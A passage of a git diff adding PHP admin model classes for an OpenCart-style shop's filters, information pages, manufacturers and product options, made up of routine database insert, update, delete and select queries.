+ foreach ($query->rows as $result) {
+ $filter_group_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $filter_group_data;
+ }
+
+ public function getFilter($filter_id) {
+ $query = $this->db->query("SELECT *, (SELECT name FROM " . DB_PREFIX . "filter_group_description fgd WHERE f.filter_group_id = fgd.filter_group_id AND fgd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS `group` FROM " . DB_PREFIX . "filter f LEFT JOIN " . DB_PREFIX . "filter_description fd ON (f.filter_id = fd.filter_id) WHERE f.filter_id = '" . (int)$filter_id . "' AND fd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getFilters($data) {
+ $sql = "SELECT *, (SELECT name FROM " . DB_PREFIX . "filter_group_description fgd WHERE f.filter_group_id = fgd.filter_group_id AND fgd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS `group` FROM " . DB_PREFIX . "filter f LEFT JOIN " . DB_PREFIX . "filter_description fd ON (f.filter_id = fd.filter_id) WHERE fd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND fd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sql .= " ORDER BY f.sort_order ASC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getFilterDescriptions($filter_group_id) {
+ $filter_data = array();
+
+ $filter_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ foreach ($filter_query->rows as $filter) {
+ $filter_description_data = array();
+
+ $filter_description_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter_description WHERE filter_id = '" . (int)$filter['filter_id'] . "'");
+
+ foreach ($filter_description_query->rows as $filter_description) {
+ $filter_description_data[$filter_description['language_id']] = array('name' => $filter_description['name']);
+ }
+
+ $filter_data[] = array(
+ 'filter_id' => $filter['filter_id'],
+ 'filter_description' => $filter_description_data,
+ 'sort_order' => $filter['sort_order']
+ );
+ }
+
+ return $filter_data;
+ }
+
+ public function getTotalFilterGroups() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "filter_group`");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/catalog/information.php b/public/admin/model/catalog/information.php
new file mode 100644
index 0000000..e774fc9
--- /dev/null
+++ b/public/admin/model/catalog/information.php
@@ -0,0 +1,223 @@
+db->query("INSERT INTO " . DB_PREFIX . "information SET sort_order = '" . (int)$data['sort_order'] . "', bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "'");
+
+ $information_id = $this->db->getLastId();
+
+ foreach ($data['information_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_description SET information_id = '" . (int)$information_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['information_store'])) {
+ foreach ($data['information_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_to_store SET information_id = '" . (int)$information_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['information_seo_url'])) {
+ foreach ($data['information_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'information_id=" . (int)$information_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['information_layout'])) {
+ foreach ($data['information_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_to_layout SET information_id = '" . (int)$information_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('information');
+
+ return $information_id;
+ }
+
+ public function editInformation($information_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "information SET sort_order = '" . (int)$data['sort_order'] . "', bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "' WHERE information_id = '" . (int)$information_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "information_description WHERE information_id = '" . (int)$information_id . "'");
+
+ foreach ($data['information_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_description SET information_id = '" . (int)$information_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "information_to_store WHERE information_id = '" . (int)$information_id . "'");
+
+ if (isset($data['information_store'])) {
+ foreach ($data['information_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_to_store SET information_id = '" . (int)$information_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'information_id=" . (int)$information_id . "'");
+
+ if (isset($data['information_seo_url'])) {
+ foreach ($data['information_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (trim($keyword)) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'information_id=" . (int)$information_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information_to_layout` WHERE information_id = '" . (int)$information_id . "'");
+
+ if (isset($data['information_layout'])) {
+ foreach ($data['information_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "information_to_layout` SET information_id = '" . (int)$information_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('information');
+ }
+
+ public function editInformationStatus($information_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "information SET status = '" . (int)$status . "'WHERE information_id = '" . (int)$information_id . "'");
+
+ $this->cache->delete('information');
+
+ }
+
+ public function deleteInformation($information_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information` WHERE information_id = '" . (int)$information_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information_description` WHERE information_id = '" . (int)$information_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information_to_store` WHERE information_id = '" . (int)$information_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "information_to_layout` WHERE information_id = '" . (int)$information_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'information_id=" . (int)$information_id . "'");
+
+ $this->cache->delete('information');
+ }
+
+ public function getInformation($information_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "information WHERE information_id = '" . (int)$information_id . "'");
+
+ return $query->row;
+ }
+
+ public function getInformations($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "information i LEFT JOIN " . DB_PREFIX . "information_description id ON (i.information_id = id.information_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'id.title',
+ 'i.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY id.title";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $information_data = $this->cache->get('information.' . (int)$this->config->get('config_language_id'));
+
+ if (!$information_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information i LEFT JOIN " . DB_PREFIX . "information_description id ON (i.information_id = id.information_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY id.title");
+
+ $information_data = $query->rows;
+
+ $this->cache->set('information.' . (int)$this->config->get('config_language_id'), $information_data);
+ }
+
+ return $information_data;
+ }
+ }
+
+ public function getInformationDescriptions($information_id) {
+ $information_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information_description WHERE information_id = '" . (int)$information_id . "'");
+
+ foreach ($query->rows as $result) {
+ $information_description_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword']
+ );
+ }
+
+ return $information_description_data;
+ }
+
+ public function getInformationStores($information_id) {
+ $information_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information_to_store WHERE information_id = '" . (int)$information_id . "'");
+
+ foreach ($query->rows as $result) {
+ $information_store_data[] = $result['store_id'];
+ }
+
+ return $information_store_data;
+ }
+
+ public function getInformationSeoUrls($information_id) {
+ $information_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'information_id=" . (int)$information_id . "'");
+
+ foreach ($query->rows as $result) {
+ $information_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $information_seo_url_data;
+ }
+
+ public function getInformationLayouts($information_id) {
+ $information_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information_to_layout WHERE information_id = '" . (int)$information_id . "'");
+
+ foreach ($query->rows as $result) {
+ $information_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $information_layout_data;
+ }
+
+ public function getTotalInformations() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "information");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalInformationsByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "information_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/manufacturer.php b/public/admin/model/catalog/manufacturer.php
new file mode 100644
index 0000000..c89864e
--- /dev/null
+++ b/public/admin/model/catalog/manufacturer.php
@@ -0,0 +1,267 @@
+db->query("INSERT INTO " . DB_PREFIX . "manufacturer SET name = '" . $this->db->escape($data['name']) . "', sort_order = '" . (int)$data['sort_order'] . "', noindex = '" . (int)$data['noindex'] . "'");
+
+ $manufacturer_id = $this->db->getLastId();
+
+ if (isset($data['manufacturer_layout'])) {
+ foreach ($data['manufacturer_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_to_layout SET manufacturer_id = '" . (int)$manufacturer_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "manufacturer SET image = '" . $this->db->escape($data['image']) . "' WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ }
+
+ foreach ($data['manufacturer_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_description SET manufacturer_id = '" . (int)$manufacturer_id . "', language_id = '" . (int)$language_id . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['manufacturer_store'])) {
+ foreach ($data['manufacturer_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_to_store SET manufacturer_id = '" . (int)$manufacturer_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_mn SET manufacturer_id = '" . (int)$manufacturer_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_mn SET manufacturer_id = '" . (int)$manufacturer_id . "', article_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['manufacturer_seo_url'])) {
+ foreach ($data['manufacturer_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'manufacturer_id=" . (int)$manufacturer_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('manufacturer');
+
+ return $manufacturer_id;
+ }
+
+ public function editManufacturer($manufacturer_id, $data) {
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "manufacturer_to_layout WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['manufacturer_layout'])) {
+ foreach ($data['manufacturer_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_to_layout SET manufacturer_id = '" . (int)$manufacturer_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("UPDATE " . DB_PREFIX . "manufacturer SET name = '" . $this->db->escape($data['name']) . "', sort_order = '" . (int)$data['sort_order'] . "', noindex = '" . (int)$data['noindex'] . "' WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "manufacturer SET image = '" . $this->db->escape($data['image']) . "' WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "manufacturer_description WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($data['manufacturer_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_description SET manufacturer_id = '" . (int)$manufacturer_id . "', language_id = '" . (int)$language_id . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "manufacturer_to_store WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['manufacturer_store'])) {
+ foreach ($data['manufacturer_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "manufacturer_to_store SET manufacturer_id = '" . (int)$manufacturer_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_mn SET manufacturer_id = '" . (int)$manufacturer_id . "', product_id = '" . (int)$related_id . "'");
+
+
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "' AND article_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_mn SET manufacturer_id = '" . (int)$manufacturer_id . "', article_id = '" . (int)$related_id . "'");
+
+
+ }
+ }
+
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'manufacturer_id=" . (int)$manufacturer_id . "'");
+
+ if (isset($data['manufacturer_seo_url'])) {
+ foreach ($data['manufacturer_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'manufacturer_id=" . (int)$manufacturer_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('manufacturer');
+ }
+
+ public function deleteManufacturer($manufacturer_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "manufacturer` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "manufacturer_to_layout` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "manufacturer_description` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "manufacturer_to_store` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'manufacturer_id=" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "product_related_mn` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "article_related_mn` WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ $this->cache->delete('manufacturer');
+ }
+
+ public function getManufacturer($manufacturer_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "manufacturer WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ return $query->row;
+ }
+
+ public function getManufacturers($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "manufacturer";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " WHERE name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'name',
+ 'sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getManufacturerStores($manufacturer_id) {
+ $manufacturer_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "manufacturer_to_store WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $manufacturer_store_data[] = $result['store_id'];
+ }
+
+ return $manufacturer_store_data;
+ }
+
+ public function getManufacturerSeoUrls($manufacturer_id) {
+ $manufacturer_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'manufacturer_id=" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $manufacturer_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $manufacturer_seo_url_data;
+ }
+
+ public function getManufacturerLayouts($manufacturer_id) {
+ $manufacturer_layout_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "manufacturer_to_layout WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ foreach ($query->rows as $result) {
+ $manufacturer_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+ return $manufacturer_layout_data;
+ }
+
+ public function getTotalManufacturerByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "manufacturer_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ return $query->row['total'];
+ }
+
+ public function getTotalManufacturers() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "manufacturer");
+
+ return $query->row['total'];
+ }
+
+ public function getManufacturerDescriptions($manufacturer_id) {
+ $manufacturer_description_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "manufacturer_description WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+ foreach ($query->rows as $result) {
+ $manufacturer_description_data[$result['language_id']] = array(
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'description' => $result['description']
+ );
+ }
+ return $manufacturer_description_data;
+ }
+
+ public function getProductRelated($manufacturer_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['product_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getArticleRelated($manufacturer_id) {
+ $article_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related_mn WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['article_id'];
+ }
+
+ return $article_related_data;
+ }
+}
diff --git a/public/admin/model/catalog/option.php b/public/admin/model/catalog/option.php
new file mode 100644
index 0000000..dd8c17f
--- /dev/null
+++ b/public/admin/model/catalog/option.php
@@ -0,0 +1,177 @@
+db->query("INSERT INTO `" . DB_PREFIX . "option` SET type = '" . $this->db->escape($data['type']) . "', sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $option_id = $this->db->getLastId();
+
+ foreach ($data['option_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_description SET option_id = '" . (int)$option_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ if (isset($data['option_value'])) {
+ foreach ($data['option_value'] as $option_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value SET option_id = '" . (int)$option_id . "', image = '" . $this->db->escape(html_entity_decode($option_value['image'], ENT_QUOTES, 'UTF-8')) . "', sort_order = '" . (int)$option_value['sort_order'] . "'");
+
+ $option_value_id = $this->db->getLastId();
+
+ foreach ($option_value['option_value_description'] as $language_id => $option_value_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value_description SET option_value_id = '" . (int)$option_value_id . "', language_id = '" . (int)$language_id . "', option_id = '" . (int)$option_id . "', name = '" . $this->db->escape($option_value_description['name']) . "'");
+ }
+ }
+ }
+
+ return $option_id;
+ }
+
+ public function editOption($option_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "option` SET type = '" . $this->db->escape($data['type']) . "', sort_order = '" . (int)$data['sort_order'] . "' WHERE option_id = '" . (int)$option_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_description WHERE option_id = '" . (int)$option_id . "'");
+
+ foreach ($data['option_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_description SET option_id = '" . (int)$option_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_value WHERE option_id = '" . (int)$option_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_value_description WHERE option_id = '" . (int)$option_id . "'");
+
+ if (isset($data['option_value'])) {
+ foreach ($data['option_value'] as $option_value) {
+ if ($option_value['option_value_id']) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value SET option_value_id = '" . (int)$option_value['option_value_id'] . "', option_id = '" . (int)$option_id . "', image = '" . $this->db->escape(html_entity_decode($option_value['image'], ENT_QUOTES, 'UTF-8')) . "', sort_order = '" . (int)$option_value['sort_order'] . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value SET option_id = '" . (int)$option_id . "', image = '" . $this->db->escape(html_entity_decode($option_value['image'], ENT_QUOTES, 'UTF-8')) . "', sort_order = '" . (int)$option_value['sort_order'] . "'");
+ }
+
+ $option_value_id = $this->db->getLastId();
+
+ foreach ($option_value['option_value_description'] as $language_id => $option_value_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "option_value_description SET option_value_id = '" . (int)$option_value_id . "', language_id = '" . (int)$language_id . "', option_id = '" . (int)$option_id . "', name = '" . $this->db->escape($option_value_description['name']) . "'");
+ }
+ }
+
+ }
+ }
+
+ public function deleteOption($option_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "option` WHERE option_id = '" . (int)$option_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_description WHERE option_id = '" . (int)$option_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_value WHERE option_id = '" . (int)$option_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "option_value_description WHERE option_id = '" . (int)$option_id . "'");
+ }
+
+ public function getOption($option_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "option` o LEFT JOIN " . DB_PREFIX . "option_description od ON (o.option_id = od.option_id) WHERE o.option_id = '" . (int)$option_id . "' AND od.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getOptions($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "option` o LEFT JOIN " . DB_PREFIX . "option_description od ON (o.option_id = od.option_id) WHERE od.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND od.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'od.name',
+ 'o.type',
+ 'o.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY od.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getOptionDescriptions($option_id) {
+ $option_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_description WHERE option_id = '" . (int)$option_id . "'");
+
+ foreach ($query->rows as $result) {
+ $option_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $option_data;
+ }
+
+ public function getOptionValue($option_value_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value ov LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE ov.option_value_id = '" . (int)$option_value_id . "' AND ovd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getOptionValues($option_id) {
+ $option_value_data = array();
+
+ $option_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "option_value ov LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE ov.option_id = '" . (int)$option_id . "' AND ovd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY ov.sort_order, ovd.name");
+
+ foreach ($option_value_query->rows as $option_value) {
+ $option_value_data[] = array(
+ 'option_value_id' => $option_value['option_value_id'],
+ 'name' => $option_value['name'],
+ 'image' => $option_value['image'],
+ 'sort_order' => $option_value['sort_order']
+ );
+ }
+
+ return $option_value_data;
+ }
+
+ public function getOptionValueDescriptions($option_id) {
+ $option_value_data = array();
+
